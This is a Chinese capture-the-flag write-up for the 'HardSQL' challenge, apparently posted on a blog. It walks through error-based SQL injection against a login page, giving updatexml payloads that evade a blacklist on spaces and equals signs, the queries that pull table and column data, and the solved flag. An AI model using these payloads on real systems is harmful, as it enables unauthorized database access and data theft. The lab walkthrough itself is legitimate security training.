[极客大挑战 2019]HardSQL 题解


明显是sql注入题目,打开网页,还是熟悉的登陆界面

先跑下sqlmap

sqlmap -u "http://62913916-23f0-4a56-987c-3363a477b1b0.node5.buuoj.cn:81/check.php?username=1%3Bshow%28databases%29%23&password=1" --dbs

果然没戏,那么来进行手注,尝试万能密码1'or'1'='1,发现被拦截了

输入1'探测注入点,页面返回

You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '1'' at line 1

发现此处存在注入点,且闭合符为'
尝试爆库,发现还是被拦截

1'union select database()#

猜测有黑名单检测,使用burpsuite的Intruder模块,载入sql关键字字典进行检测,发现确实有不少关键字被列入黑名单,甚至包括空格和等号

由于存在报错返回界面,我们尝试报错注入

1'or(updatexml(1,concat(0x7e,database(),0x7e),1))#

成功返回数据库名,那么接下来挨个爆表爆字段,等号被过滤,这里使用like模糊匹配运算符

1'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where((table_schema)like(database()))),0x7e),1))#

1'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where((table_schema)like(database()))),0x7e),1))#

1'or(updatexml(1,concat(0x7e,(select(group_concat(id,username,password))from(H4rDsq1)),0x7e),1))#

1'or(updatexml(1,concat(0x7e,(select(group_concat(password))from(H4rDsq1)),0x7e),1))#

爆flag时发现只能显示出一部分,猜测是因为长度限制,使用right函数显示出缺失部分

1'or(updatexml(1,concat(0x7e,(select(group_concat(right(password,31)))from(H4rDsq1)),0x7e),1))#

拼接后得到完整flag{119e03e2-dbee-4fbc-8a93-c1073031e631}

---[End]---

声明:大K|版权所有,违者必究|如未注明,均为原创|本网站采用BY-NC-SA协议进行授权

转载:转载请注明原文链接 - [极客大挑战 2019]HardSQL 题解


I'm scared this is all i will ever be...I feel trapped in my own life...I think i've figured it out but in reality i'm as lost as ever...I wish i could choose the memories that stay...please,stay.